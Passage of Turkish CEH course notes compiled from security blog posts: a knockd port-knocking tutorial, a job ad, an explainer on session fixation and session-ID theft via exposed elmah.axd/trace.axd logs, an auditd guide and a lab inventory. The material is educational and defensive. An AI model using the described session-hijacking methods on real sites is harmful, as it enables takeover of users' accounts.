Karmaşık gözükmesine rağmen oldukça basit bir mantıkla çalışıyor “knockd”, yaptığı iş ağ arabirimine (Ethernet,ppp) gelen tüm trafiği dinlemek ve konfigürasyon dosyasında belirtilen uyarlamalara uygun bir paket geldiginde yine konfigürasyon dosyasında belirtildiği komutları çalıştırmak.

Istemci belli sirada port yoklaması yapar, istemci port yoklamasını tcp ya da udp portlarda yapabilir. Ve en önemlisi de yoklama yaptığınız portun açık olup olmamasının öneminin olmadığıdır. Normalde kapalı bir porta göndereceğiniz paketlerden eğer filtrelenmemişse RST cevabı döner.

Peki nasıl oluyorda ‘knockd’bu işi yapabiliyor? Bunun için biraz TCP/IP bilgilerimizi güncelleyelim. Bir paket bir hosttan diğerine gönderildiğinde OSI katmanının en üst seviyesinden an altına kadar yolculuk yapar ve fiziksel ortama bırakılır , karşı tarafa ulaştığında ise OSI katmanının en alt katmanından en üst (Application Level)katmanına kadar ters bir yolculuk geçirir, bu katmanlardan herbirinin kendine göre farklı bir görevi vardır, port kavramının sözünün geçtiği katmanda 4.katmandır. Detaylı gösterim için aşağıdaki resme bakabilirisiniz. İşte knockd paketi daha 4.katmana ulaşmadan data Link layer(2)da yakalıyor, okuyor ve içeriğine gore işlemi gerçekleştiriyor, nasıl iyi fikir değil mi?

Page 23: Ceh ders not

Sunucu Kullanımı

Sunucu kullanımda kullanabileceğimiz seçenekler

-i ile hangi arabirimin dinleneceğini belirliyoruz,herhangi bir değer belirtmezsek varsayılan olarak ilk Ethernet kartını(Linux’lar için eth0)dinlemeye alacaktır.

-d knockd nin bir servis olarak hizmet vermesini belirliyoruz.

-c <dosya_ismi> opsiyonu ile de kullanılacak yapılandırma dosyasını belirliyoruz varsayılan olarak bu değer /etc/knockd.conf tur,

-D parametresi ile de sunucu programının debug modda çalışmasını sağlıyoruz

-V ile calışan programın versiyonunu öğrenebiliriz.

-h parametresi kullanılabilecek parametreleri göstermeye yarar. Data detaylı kullanım için man knockd komutunu kullanabilirsiniz.

İstemci Kullanımı

Istemci kullanımının seçeneklerine ulaşmak için

# knock

komutunu vermeniz yeterlidir,bu seçeneklerin ne işe yaradığı aşağıda belirtilmiştir.

usage: knock [options] <host> <port> [port] ... options:

-u, --udp UDP paketi yollamak için,varsayılan değer TCP dir.

-v, --verbose Detaylı bilgi için

-V, --version Versiyon öğrenmek için.

Page 24: Ceh ders not

-h, --help Bu menu için.

Yapılandırma Dosyası

Programla birlikte gelen varsayılan yapılandırma dosyasının /etc/knockd.conf olduğundan bahsetmiştik, şimdi de bu dosyanın içeriğine bakarak yorumlayalım sonrada çeşitli örneklerle nasıl kullanılacağını anlamaya çalışalım.

# cat /etc/knockd.conf

[options] UseSyslog

[opencloseSSH]

sequence = 2222:udp,3333:tcp,4444:udp

seq_timeout = 15

tcpflags = syn,ack

start_command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport ssh -j

ACCEPT

cmd_timeout = 10

stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport ssh -j

ACCEPT

Bu basit öntanımlı yapılandırma dosyası ile knockd’nin loglama mekanizması olarak sistemin kendi log mekanizmasını kullanmasını söylüyoruz, Eğer system log mekanizmasında farklı bir yere loglanmasını istersek bunu logfile = /var/log/knockd.log izinlerini knockdyi çalıştıran kullanıcı olarak ayarlamanız lazım , farklı bir durum gözetmezseniz root kullanıcısı ile çalıştığından dosya erişim izinleri de ona göre ayarlanmış olur.

alt tarafta [opencloseSSH] ile yeni bir kural için tanımlayıcı isim belirleyip seçeneklerini yazıyoruz.

Sequence ile istemcinin port yoklama sırasını belirtiyoruz,

Page 25: Ceh ders not

seq_timeout

bu değişkenle istemcinin port yoklama işlemini yaparken iki yoklama arasında max ne kadar sure bekleyebileceğini bildiriyoruz.

start_command

Uygun port yoklaması oluştuktan sonra başlatılacak komut

cmd_timeout

komut sonrası ne kadarlık bir sure bekleneceği

stop_command

cmd_timeout sonrası işletilecek komut

Aşağıdaki örnekte yapılandırma dosyasındaki seçeneklerin değerleri ve ne işe yaradıkları konusunda geniş bilgilendirme bulabilirsiniz.

Örnek;

Sistemin 100, 200 ve 300.portlarına sırası ile SYN paketi gönderilmesi halinde

/tmp dizininde deneme-123 adında bir dosya oluşturmasını isteyelim.

Bunun için /etc/knockd.conf dosyasını herhangi bir editörle açıp dosyanın sonuna

[dosya ac]

sequence = 100,200,300 protocol = tcp

timeout = 15

command = mkdir /tmp/deneme-123 tcpflags = SYN

satırlarını ekleyelim. [dosya ac] satırı ile açıklama belirtiyoruz, bu başlık loglarda görünecek olan başlıktır.

sequence = 100,200,300

ile hangi sıra ile portların yoklanacağını belirtiyoruz

Page 26: Ceh ders not

protocol = tcp

protocol tipini belirliyoruz

timeout = 15

zaman aşımını ne kadar olacağını belirliyoruz.

command = mkdir /tmp/deneme-123

yoklamalar sonrası hangi komutun çalıştırılacağını belirliyoruz

tcpflags = SYN

protocol olarak TCP belirledikten sonra hangi TCP bayrağı ile yoklama yapılacağının belirtilmesi

bunları yazdıktan sonra dosyayı kaydedip çıkalım ve istemci tarafındaki knock programcığını aşağıdaki gibi çalıştıralım.

[root@cc root]# knock yubam -v 100 200 300

hitting tcp 194.27.72.88:100 hitting tcp 194.27.72.88:200 hitting tcp 194.27.72.88:300

tekrar /tmp dizinine bakalım.

[root@yubam tmp]# ls

deneme-123 mc-root

gconfd-root orbit-root

GSLhtmlbrowser5493 sess_33c22dbdd8f5fbf788f8ccf9ecbb519a

kde-root sess_4d0f6ce5ca90d758cc126ad992219b85

ksocket-root splint-3.1.1

mapping-root splint-3.1.1.Linux.tgz mcop-root

Örnek;

Page 27: Ceh ders not

[options]

logfile = /var/log/knockd.log

[opentelnet]

sequence= 7000,8000,9000

seq_timeout = 10

tcpflags= syn

command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp -- dport 23 -j ACCEPT

[closetelnet]

sequence= 9000,8000,7000

seq_timeout = 10

tcpflags= syn

command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp -- dport 23 -j ACCEPT

bu örnekte yukarıdaki örnekten farklı olarak iki farklı seçenek kullandık biri [opentelnet] diğeri [closetelnet], [opentelnet] ile 7000,8000,9000 portlarına sırası ile gelecek SYN paketleri karşılığında sistemin ne yapacağını , [closetelnet] ile de 9000,8000,7000 portlarına sırası ile gelecek SYN paketi ile sistemin ne yapacağını belirttik, aşikarki [opentelnet] ile sisteme belirli aralıklarda syn paketi yollayan IP ye Firewall dan 23.port için geçiş hakkı tanıdık aynı şekilde [closetelnet]ile de tam tersi bir işlem yaparak o IP ye 23.portu kapadık.Yan. bir önceki örneğe göre işimizi zamana bırakmadık, işimizin bittiğini ve sunucunun telnet portunu kapatmasını elle sağlamış olduk.

Sunucu Yazılımın Çalışma Modları

Sunucuyu debug ve verbose modda çalıştıralım ve aralarındaki farklılıkları görelim.

Şimdide istemci tarafında knock programını çalıştırıp sunucu tarafındaki değişiklikleri inceleyelim, çalışma parametrelerinin ne işe yaradığı yukarıda anlatılmıştı.

Sunucunun Debug Modda Çalıştırılması

Page 28: Ceh ders not

Sunucu yazılımını debug modda çalıştırmak için knockd’ye verilen parametrelere ek olarak –D parametresini eklememiz gerekir.Bir önceki oturumu debug modda başlatırsak aşağıdaki gibi bir çıktı alırız.

# knockd -i eth1 -D

config: new section: 'options' config: usesyslog

config: new section: 'opentelnet'

config: opentelnet: sequence: 7000,8000,9000 config: opentelnet: protocol: tcp

config: opentelnet: timeout: 15

config: opentelnet: cmd: /sbin/iptables -A INPUT -s %IP% -p tcp --dport telnet -j ACCE PT

config: tcp flag: SYN

config: new section: 'closetelnet'

config: closeSSH: sequence: 9000,8000,7000 config: closeSSH: protocol: tcp

config: closeSSH: timeout: 15

config: closeSSH: cmd: /sbin/iptables -D INPUT -s %IP% -p tcp --dport telnet -j ACC EPT

config: tcp flag: SYN

config: new section: 'dosya ac'

config: dosya ac: sequence: 100,200,300 config: dosya ac: protocol: tcp

config: dosya ac: timeout: 15

config: dosya ac: cmd: mkdir /tmp/deneme-1-2-3 config: tcp flag: SYN

2004-04-30 23:55:21: tcp: 81.214.131.55:2706 -> 194.27.72.88:22 106 bytes packet is not SYN, ignoring...

packet is not SYN, ignoring... packet is not SYN, ignoring..

Sunucu Yazılımını Verbose Modda Çalıştırmak

Page 29: Ceh ders not

knockd yi verbose modda çalıştırdıktan sonra istemcide

# knock yubam -v 100 200 300 hitting

tcp 194.27.72.88:100

hitting tcp 194.27.72.88:200

hitting tcp 194.27.72.88:300

komutunu verdiğimizde aşağıdaki çıktıyı alırız.

# knockd -i eth0 -v

listening on eth0...

194.27.72.80: dosya ac: Stage 1

194.27.72.80: dosya ac: Stage 2

194.27.72.80: dosya ac: Stage 3

194.27.72.80: dosya ac: OPEN SESAME

running command: mkdir /tmp/deneme-1-2-3

mkdir: `/tmp/deneme-1-2-3' dizini oluÅturulamıyor: Dosya var dosya ac: command returned non-zero status code (1)

yukarıdaki hata biraz once o dosyanın oluşturulumuş olduğundan veriliyor,.

knockd’yi sonlandırmak isterseniz aşağıdaki komutları çalıştırmanız yeterlidir.

# ps axu|grep knockd

Page 30: Ceh ders not

root 15345 0.0 0.0 1640 460 ? S 23:27 0:00 knockd -i eth0 -d root 15373 0.0 0.1 5132 584 pts/7 S23:34 0:00 grep knockd

# kill 15345

Open menu Share

0 0

05/03/14--09:11: BGA Profesyonel Hizmetler için Bilgi Güvenliği Uzmanı İlanı

BGA olarak gerçekleştirdiğimiz bilgi güvenliği danışmanlık hizmetleri için sevdiği işi yapacak, yaptığı işi sevecek, genç, heyecanlı ve çalışkan takım arkadaşları arıyoruz.

2 farklı konuda 3 takım arkadaşı(Ankara/İstanbul) alınacaktır:

BGA SIR(Security Incident Response) Ekibi için bir kişi

BGA TIGER TEAM (Sızma Testi/APT) Ekibi için iki kişi

Temel Beklentiler:

Ankara'da veya İstanbul'da ikamet eden (bir kişi Ankara, iki kişi İstanbul)

İstanbul arası git-gel yapabilecek arada bir Bakü, KKTC vs gibi lokasyonlara uğramaktan imtina etmeyecek,

Standart dışı düşünebilen, kalıplara takılmayan,

Teknik konularda çalışmayı seven, heyecan duyan,

Herşeyi bilmediğini düşünerek bol bol araştırma yapan, bir bilene soran,

Çok çalışan değil, az zamanda çok iş yapabilen,

İş bitirici, görev bilincine sahip olan,

Araştırıp öğrendiği konuları yazıya dökebilen

Page 31: Ceh ders not

Tam zamanlı çalışma arkadaşları arıyoruz. (Yarı zamanlı başvurular bu ilan kapsamında değerlendirilmeyecektir.)

Sızma Testi Uzmanı

Sızma testi konusunda Türkiye'nin en dinamik firmalarından birinde klasik süreç ve prosedürlere takılmadan zevkli işler gerçekleştirmek isteyenlere güzel fırsat. Amatör/profesyonel olarak sızma testleri ile ilgilenmiş, bu konuda bitmek bilmeyen araştırma hevesine sahip herkes başvuru yapabilir.

Sızma testi konusunda başvuru yapacak arkadaşlar için orta/ileri seviye Linux bilgisi aranmaktadır ve kullandıkları araçlar konusunda ezberden öte çalışma mantıklarını anlayacak kadar konuya hakim olmaları beklenmektedir.

Incident Response/Computer Forensic Specialist

BGA olarak müdahele ettiğimiz bilişim güvenliği ihlal olaylarında süreci yönetebilecek kadar derin teknik bilgi ve tecrübeye sahip, analitik düşünce yapısına sahip takım arkadaşı aranmaktadır.

Daha önce ilgili konularda(forensic, IR, IH) çalışmış olma şartı aranmaktadır.

Başvuru:

Yukarda yazılı konularla ilgili olduğunuzu düşünüyorsanız [email protected] adresine CV'nizi iletebilirsiniz.

E-posta gönderirken konu başlığının: REF-BGA-05-14 olmasına ve hangi konu (pentest, sir)için başvuruda bulunduğunuzun mailin gövdesinde yer almasına dikkat ediniz.

Ben profesyonelim, standart iş ilanı olmadan başvurmam diyenler için ek şartlar aşağıda yer almaktadır:

İşin Tanımı :

Lisans eğitimini ilgili bölümlerde tamamlamış,

Takım çalışmasına yatkın,

Dinamik bir yapıda, işini severek yoğun bir tempoda çalışabilecek,

Page 32: Ceh ders not

Araştırmacı, sürekli öğrenmeye ve kendini geliştirmeye açık,

Analitik düşünme ve problem çözme yeteneklerine sahip,

İstanbul'da ikamet eden veya edebilecek, gerekli durumlarda Ankara'da çalışabilecek

Erkek adaylar için tercihen askerlikle ilişiği olmayan veya en az 1 yıl tecilli,

Teknik araştırma yapabilecek kadar ingilizce bilen,

NOT:Bu ilan 29 Mayıs 2014 tarihine kadar geçerlidir. Haziran ayının ilk haftası başvurular değerlendirilerek olumlu/olumsuz cevap dönülecektir.

Open menu Share

0 0

05/11/14--03:59: Web Uygulamalarında Hatalı Oturum Yönetimi ve Oturum Sabitleme Zafiyeti

Cookie/session, web uygulamalarında sunucu tarafının, kendisini ziyaret eden kullanıcıları ayırt etmek, yetkilendirmek, mevcut oturumunu belli bir sure tutma, çeşitli bilgileri taşıma veya oturumunu yönetmek gibi sebepler ile geliştirme aşamasında ihtiyaç duyulan web uygulama bileşenleridir. Cookie ve session benzer amaçlar için kullanılan fakat temel bazı farklılıkları olan web uygulama ifadeleridir. Güvenlik açısından genelde tercih edilen session kullanımıdır.

Cookie bilgisi client tarafında tutulduğu için üzerinde hassas veriler (kullanıcı adı,parola,kredi kart numarası vs.) veya manipule edilmesi mümkün değerler taşınmamasına dikkat edilmelidir. Session kullanımında hassas verilerin tutulması veya bazı kontrollerin yapılması sunucu tarafında yapılmaktadır.

Session kullanıldığı durumlarda client tarafına mevcut oturuma karşılık gelen şifreli bir Session ID değeri gönderilmektedir. Bu durumda session kullanımı her ne kadar güvenli olsa da Client tarafına gönderilen SessionID değerinin saldırganlar tarafından ele geçirilmesi ile kullanıcılara ait oturumlar elde edilebilmektedir. Ayrıca Session kullanımında üretilen Session ID değerinin yeterli uzunlukta ve karmaşık karakterlerden oluşmasına dikkat edilmelidir. Aksi halde mevcut session ID politikasına uyumlu değerler üretilerek o an aktif bir kullanıcı oturumu elde edilebilir. Session kullanıldığı durumlarda kullanıcıya gönderilen SessionID değerleride Cookie HTTP başlık bilgisi içerisinde tutularak client-server arasında taşınır.

Sunucu tarafına istek yapan her kullanıcı için dönen http response içerisinde Set-Cookie başlık bilgisi ile bir cookie değeri client tarafına gönderilir ve client browserinda bu bilgi tutulur. Daha sonra

Page 33: Ceh ders not

sunucu tarafına yapılan requestlerde bu set edilen Cookie değeri ile gidilir. Uygulama sunucusu tarafı da bu cookie değerine gore ilgili kullanıcıya muamele edecektir. Cookie değerinin geçerlilik süreside yine atanan cookie içerisinde belirtilmektedir.

Aşağıda client tarafının sunucu tarafından cookie bilgisini almasına ait ekran görüntüsü verilmiştir.

MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-22 at 11.24.04.png

Kullanıcılar hedef uygulamlar üzerinde kimlik doğrulama gerçekleştirdikten sonra kendilerine atanan bu Cookie/SessionID değerini kullanarak uygulamaya tekrar tekrar kimlik doğrulama gerektirmeksizin bağlanabilir. Durum böyle olunca kimlik doğrulama gerektirmeden sistemlerde oturum sahibi olmak isteyen saldırganlar çeşitli yöntemler ile bu değerleri ele geçirme yoluna gidebilmektedir.

Cookie/SessionID bilgisi hedef alınarak çeşitli saldırılar gerçekleştirilmektedir. Session hijacking, session fixation, cookie theft, exposed session data , cookie attribute manipulate, sessionid-token randomless açıklığı gibi bir çok açıklık istismar edilerek kullanıcı adına işlemler gerçekleştirebilir. Cookie/SessionID bilgisi her ne kadar sunucu tarafında üretiliyor olsada client tarafında browserda tutulmaktadır. Buda client tarafında kullanıcılara bir script çalıştırılarak elde edilebileceğini göstermektedir. Bu aşamada XSS açıklığı sıklıkla kullanılan bir yöntemdir.

Yine bazı durumlarda saldırganların hiç bir teknik açıklık istismar etmeden doğrudan uygulama geliştiricilerin kullandığı ve kimlik doğrulama olmayan elmah.axd ve trace.axd gibi hata loglama modüllerine erişim sağlayarak ilgili uygulamalarda admin kullanıcılarının sessionID değerlerini kullanarak oturumlarını ele geçirebilmektedir.

Trace.axd loglama modülü üzerinden elde edilen SessionID değeri:

MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-23 at 12.57.52.png

Elmah.axd loglama modülü üzerinden elde edilen SessionID değeri:

MACBOOKPRO:Users:celalerdik:Desktop:Screen Shot 2014-04-23 at 13.00.00.png

Page 34: Ceh ders not

Bu değerlerin doğrudan cookie manager benzeri uygulamalar ile browser üzerinde mevcut değerleri ile değiştirilmesi durumunda bu kullanıcılara ait oturumlar ele geçirilmiş olunacaktır. Bu şekilde doğrudan admin paneller veya kullanıcı oturumları elde edilebilir.

Bu yazımızda özellikle değinmek istediğimiz açıklık session fixation açıklığıdır. Client tarafına kimlik doğrulama yapılmadığında gönderilen SessionID bilgisi , kimlik doğrulama yapıktan sonra değiştirilmiyorsa sadece bu SessionID değerine yetkilendirme yapılıyorsa bu durumda session fixation açıklığı söz konusu olmaktadır.Basit bir kaç sosyal mühendislik methodu ile ilgili açıklık istismar edilebilmektedir.

Saldırganlar öncelikle oturumunu çalmak istedikleri kullanıcılara çeşitli sosyal mühendislik yöntemleri kullanarak kendi belirledikleri bir SessionID değeri ile uygulamayı ziyaret etmelerini sağlarlar. Daha sonra kurbanın bu uygulama üzerinde kimlik doğrulama işlemini gerçekleştirmesi durumunda bu sessionID değerini saldırgan bildigi için kendi browserdinda ilgili hedef uygulama için set ederek kurbanın oturumunu ele geçirebilir. Saldırganın kendi browserinda zaten bu sessionID değeri tanımlı olduğundan uygulamayı çağırdığında kurbanın oturumu ile uygulama üzerinde erişim elde edecektir.

Aşağıdaki ekran görüntüsünde session fixation açıklığının nasıl gerçekleştiği daha kolaylıkla anlaşılabilir.

MACBOOKPRO:Users:celalerdik:Desktop:session_fixation.png

Kullanıcı web sunucuya bir bağlantı gerçekleştirmektedir

Sunucu tarafı kendisine yapılan istek karşısında bir session_id değeri ile saldırgana cevap dönmektedir.

Page 35: Ceh ders not

Saldırgan, aldığı session_id değerini kullanarak kurbanın sunucuya login olmasını sağlamaktadır. Bu durum çeşitli sosyal mühendislik yöntemleri kullanılarak kurbanın aşağıdaki gibi bir bağlantıyı ziyaret etmesi ile gerçekleştirilmektedir.

Kurban http://www.bank.com/login.php?session_id=xyz bağlantısını ziyaret etmektedir.

Kurban bu bağlantıyı ziyaret ederek hedef web uygulamasına kimlik bilgileri ile giriş yaptığı anda mevzut xyz değerine sahip session_id artık bu kullanıcınının oturumunu ifade eden değer olacaktır.

Saldırgan kendi browserdina http://www.bank.com/ sayfasını çağırdığında artık kurbanın oturumuna erişimiş olacaktır.

İlgili açıklığa maruz kalmamak için cookie/session bileşenleri dikkatli kullanılmalı. Kullanıcılar hangi sessionID ile uygulamaya gelirse gelsin kimlik doğrulama gerçekleştirildikten sonra SessionID değeri uniq başka bir değer ile yenilenmelidir.

Open menu Share

0 0

05/11/14--04:02: Linux Sistemlerde Auditd Kullanarak Detaylı Sistem Denetimi

Sistem yöneticilerinin en çok sorduğu sorulardan biri, dosyalar üzerinde okuma yazma gibi denetimlerin nasıl kontrol edilebileceği,kritik öneme sahip dosyaları kimin değiştirdiği, üzerinde kimlerin işlem yaptığının bilinmesi ve takip edilmesidir.

Bunun cevabı Modern Linux sistemlerle birlikte gelen “auditd daemon” ile çözüme kavuşmuştur.Görevi diske denetim kurallarını yazmaktır.Başlangıç esnasında /etc/audit.rules

içerisinde bulunan kurallar ‘auditd daemon’ tarafınan okunur. /etc/auditd.rules dosyasını açıp üzerindeki denetim kurallarını değiştirmek,log kayıtlarını yönetmek gibi değişiklikler yapılabilir.Kurulum yapıldıktan sonra varsayılan olarak gelen ayarlar başlangıç için yeterli olacaktır.

Denetimi kolaylaştırmak amacıyla servise ait aşağıdaki hizmetlerin bilinmesinde fayda olacaktır.

>> auditctl : Çekirdeğin denetim sistemini kontrol etmek için yardımcı olacak bir komuttur.Bu komut ile kural eklenip silinebilir ya da durum bilgisi alınabilir.

>> ausearch : Olay tabanlı ya da farklı arama kriterlerine göre log tabanlı sorgulama yapmak için kullanılabilir.

>> aureport : Denetim loglarının raporlarını özetlemek için kullanılan bir araçtır.

Page 36: Ceh ders not

audit paketinin kurulması

Birçok Linux çekirdeği audit rpm paketni içerir. audit paketini yüklemek için komut satırından ‘yum’ ya da ‘apt-get install’ komutları kullanılabilir.

[root@bga ~]# yum install audit

Loaded plugins: fastestmirror, refresh-packagekit, security

auditd servisini başlangıçta otomatik olarak için aşağıdaki komut kullanılabilir.

[root@bga ~]# ntsysv

Servisi başlatmak için aşağıdaki komut çalıştırılmalıdır.

[root@bga ~]# /etc/init.d/auditd start

Dosyaların izlenebilmesi için servisin ayarlanması

Bunu örnek bir komutla açıklamak gerekirse, /etc/passwd dosyasının denetlenmesi için aşağıdaki gibi örnek bir komut kullanılabilir.

[root@bga ~]# auditctl -w /etc/passwd -p war -k password-file

Bu komut için kullanılan parametrelerin anlamı şu şekildedir.

-w /etc/passwd : İzlenenecek olan dosyanın yolu (path)

-p war : İzlenecek olan dosya için izinleri belirler. ‘w’ yazmak için, ‘a’ ekleme yapmak için, ‘r’ ise okumak içindir.

-k password-file : İzlenecek olan dosya için filtreler(filterkey) ayarlamak için kullanılır.Bu komut için password-file bir filterkey’dir.

Page 37: Ceh ders not

Bu komut ile /etc/passwd dosyası üzerindeki okuma,yazma ve ekleme işlemleri izlenebilir.(sistem çağrıları dahil)

Şimdi aşağıdaki komutları sistem üzerinde yetkisiz bir kullanıcı ile çalıştıralım ve biraz bekleyelim.

[root@bga ~]# grep 'root' /etc/passwd

[root@bga ~]# nano /etc/passwd

Dosya Sistemi audit Kuralı

/etc/shadow dosyası üzerindeki okuma,yazma,çalıştırma ve ekleme değişikliklerini kayıt altına almak için ‘shadow-file’ filtresi ile aşağıdaki komut kullanılabilir.

[root@bga ~]# auditctl -w /etc/shadow -k shadow-file -p rwxa

syscall audit kuralı

Aşağıdaki kural syscall çıkışlarının izlenmesini önler.

[root@bga ~]# auditctl -a exit,never -S mount

pid kullanarak syscall audit kuralı

Aşağıdaki komutta olduğu gibi ‘pid’ değerine göre kural yazılabilir.

[root@bga ~]# auditctl -a entry,always -S all -F pid=1005

Peki /etc/passwd dosyasına kimin eriştiğini ya da dosya üzerinde kimin değişikik yaptığı nasıl öğrenilir ?

Bunun için ausearch komutu kullanılır.Örnek kullanım komutları aşağıdaki gibidir.

Page 38: Ceh ders not

[root@bga ~]# ausearch -f /etc/passwd

[root@bga ~]# ausearch -f /etc/passwd | less

[root@bga ~]# ausearch -f /etc/passwd -i | less

-f /etc/passwd : Sadece bu dosya üzerinde aramaya yapar.

-i : Metin içindeki sayısal girdileri yorumlar.uid değerini hesap ismine dönüştürür.

Örnek bir çıktı aşağıdaki gibi olacaktır.

type=PATH msg=audit(04/18/2014 23:58:00.631:5249) : item=0 name=/etc/passwd inode=653834 dev=fd:00 mode=file,644 ouid=root ogid=root rdev=00:00 obj=system_u:object_r:etc_t:s0 nametype=NORMAL

type=CWD msg=audit(04/18/2014 23:58:00.631:5249) : cwd=/root

type=SYSCALL msg=audit(04/18/2014 23:58:00.631:5249) : arch=x86_64 syscall=open success=yes exit=4 a0=7fe34326969a a1=80000 a2=1b6 a3=0 items=1 ppid=21315 pid=21324 auid=cihat uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts1 ses=775 comm=ausearch exe=/sbin/ausearch subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=password-file

Peki bu çıktı nasıl yorumlanmalıdır ?

audit(04/18/2014 23:58:00.631:5249): Log kaydının zamanı

uid=root gid=root : Kullanıcı id değerinin sayısal formatıdır. -i parametresi ile sayısal değer hesap ismine dönüştürülebilir.Bu şekilde okunması ve yorumlanması daha kolay olacaktır.

comm=ausearch exe= Dosyaya erişmek için kullanılan komutu gösterir.

Log dosyasından da anlaşılacağı üzere, hangi kullanıcının dosya üzerinde grep ile okuma yaptığı ya da bir metin editörü ile dosya üzerinde yazma işlemi gerçekleştirdiği açıkca görülmektedir.

Bu şekilde kullanmak bir log yığını oluşturacağından komuta ait man sayfası okunarak daha anlaşılır formatta loglar üretilebilir.

Page 39: Ceh ders not

Log kayıtlarını incelerken daha spesifik aramalar yapmak mümkündür.Örneğin belirli bi tarihe ait log kaydına bakmak ya da bugünün log kayıtlarını çıkarmak için aşağıdaki gibi komutlar kullanılabilir.

[root@bga ~]# ausearch -ts today -k password-file

[root@bga ~]# ausearch -ts 3/12/07 -k password-file

Bir diğer arama şekli ise -x parametresi ile çalıştırılan komuta göre arama yapmaktır. Örneğin hangi kullanıcının ‘rm’ komutunu kullanarak /etc/passwd dosyasına erişmeye çalıştığını görmek için aşağıdaki gibi bir komut kullanılabilir.

[root@bga ~]# ausearch -ts today -k password-file -x rm

[root@bga ~]# ausearch -ts 3/12/07 -k password-file -x rm

Kullanıcı id değerine göre arama yapmak için ise aşağıdaki gibi bir komut kullanılabilir.

[root@bga ~]# ausearch -ts today -k password-file -x rm -ui 500

[root@bga ~]# ausearch -ts 3/12/07 -k password-file -x rm -ui 500

Bu yazı Linux AKADEMİ blog sayfasından alınmıştır http://www.linuxakademi.com.tr/linux-audit-derinlemesine-sistem-denetimi/

Open menu Share

0 0

05/18/14--03:55: BGA Siber Saldırı & Savunma Simulasyon Laboratuvarı

Tek başına teorik bilginin işe yaramadığı önemli alanlardan birisi Siber Güvenliktir. Siber güvenlikte diğer alanlardan farklı olarak mücadeleyi genellikle sizden daha iyi olan ve meslek olarak varlık sebebiniz olan siber saldırganlara karşı yaparsınız. Siber saldırgan için tüm internet altyapısı lab olarak kullanılabileceği için pratik yapma ve öğrendiklerini uygulama için ek uğraşlara girmesine gerek yoktur. İşin savunma tarafındaki uzmanlar için ise her çıkan güvenlik zafiyetinin istismar edilmesi ve korunma yöntemleri için gerçek uygulama ve sistemleri içeren bir lab ortamına ihtiyaç vardır.

Page 40: Ceh ders not

BGA olarak hem gerçekleştirdiğimiz eğitimlerde katılımcılarımızın olabildiğince gerçek hayat senaryoları ile çalışmalarını sağlamak hem de sızma testi ve olay müdahele ekibimizin gerçek sistemler üzerinde pratiğini arttırmak amacıyla Siber saldırı ve savunma lab'i kurma çalışmalarına başladık. İlkini İstanbul'da hayata geçirdiğimiz lab sisteminin ikincisi Ankara ofisimizde bu yıl içerisinde kurulacaktır. Lab sistemleri BGA'dan eğitim alan ve BGA danışmanlık hizmetleri için anlaşmamız bulunan tüm müşterilerimiz için ücretsiz olarak kullanıma hazır olacaktır. Hem uzaktan VPN aracılığıyla hem de BGA Ankara/İstanbul ofisleri hafta sonları dahil önceden randevu almak suretiyle kullanılabilecektir.

Lab kurulumunda ana amacımız her geçen gün yenilenen siber saldırılara karşı bir laboratuvar ve simulasyon ortamı oluşturmaktır. Hazırlanan laboratuvar ortamında internet ortamında çıkmış hemen her siber saldırı yöntemi ve tekniği uygulanabilmektedir.

Sadece ilgili yazılım, donanım ve sistemlerin kurulumunu içermek yerine BGA olarak gerçekleştirdiğimiz sızma testi ve olay analizi çalışmalarını anonim bir şekilde lab ortamına entegre etmekteyiz. Bir banka ya da bir SCADA ortamında bulunabilecek tüm bileşenler lab ortamında yer aldığı için çok kısa sürelerde senaryo oluşturup sanal sistemlerle gerçeğiyle birebir aynı lab ortamını hazır edebilmek amacımız.

Aşağıda örnek bir banka ağına ait lab çizimi gösterilmektedir.

BGA lab kurulumunda edindiğimiz tecrübeyi isteyen kurumlara özel kurulum ve yapılandırma sağlayacak şekilde sunmaktayız. Özellikle kendi sızma testi ekibini ya da siber güvenlik ekibini barındırmak isteyen kurumların bu hizmetten faydalanarak benzeri lab ortamını kurması elzemdir. Konu hakkında detay bilgi ve iletişim icin [email protected] adresine e-posta gönderebilirsiniz.

Lab ortamında kullandığımız bazı sistemler ve bilgileri aşağıda yer almaktadır.

Ağ ve Güvenlik Sistemleri

Cisco 7200 serisi router

Page 41: Ceh ders not

Cisco (http://software.cisco.com/download/release.html?mdfid=284364978&flowid=39582&softwareid=282046477&release=3.9.0aS&relind=AVAILABLE&rellifecycle=ED&reltype=latest)

Farklı marka ve modellerde Wifi Access Point

Checkpoint Firewall / IPS 1

Pfsense Firewall

Iptables Firewall

Snort Saldırı Tespit ve Engelleme Sistemi

Suricata IDS/IPS (http://suricata-ids.org/download/)

Palo Alto NGX Firewall / IPS

Fortinet Firewall/IPS

Netscreen IDP

Juniper SRX

Barracuda WAF (https://www.barracuda.com/purchase/evaluation/product/bwfv)

Modsecurity WAF (http://www.modsecurity.org/download/ )

Citrix Netscaler (https://store.citrix.com/store/citrix/en_US/DisplayThreePgCheckoutAddressPaymentInfoPage/ThemeID.28169600 )

F5 Load balancer/WAF modülü (https://www.f5.com/trial/big-ip-ltm-virtual-edition.php)

Microsoft URLScan WAF modülü

FortiWEB

Kfsensor Honeypot

Farklı firmalara ait VOIP sistemleri / soft phone uygulamaları

Asterix (http://www.asterisk.org/downloads/asterisknow)

FreePBX

3CX PBX/PABX

Cuckoo- Malware Analizi amaçlı (http://www.cuckoosandbox.org/download.html)

Remnux

Mobisec (http://sourceforge.net/projects/mobisec/)

Page 42: Ceh ders not

Ossec HIDS (ossec-virtual-appliance.tar.gz)

OSSIM (http://downloads.alienvault.com/c/download?version=current_ossim_iso)

Merkezi Log Yönetim Sistemi (Logstash+Kabana+Elasticsearch)

OpenDLP

Packetfence - Open source NAC

Honeydrive - Honeypot

Veritabanı Sistemleri

Mysql Windows(Birden fazla sürüm aynı sistem üzerinde farklı portlarda çalışacak şekilde kurulacak)

Mysql Linux(Birden fazla sürüm aynı sistem üzerinde farklı portlarda çalışacak şekilde kurulacak)

Oracle (Windows)

Oracle ( Linux )

MS Sql Server (2005, 2008...)

Postgresql (Farklı sürümlerde Windows )

Postgresql (Farklı sürümlerde Linux )

Firebird (farklı sürümler Windows ve Linux)

Sybase (windows)

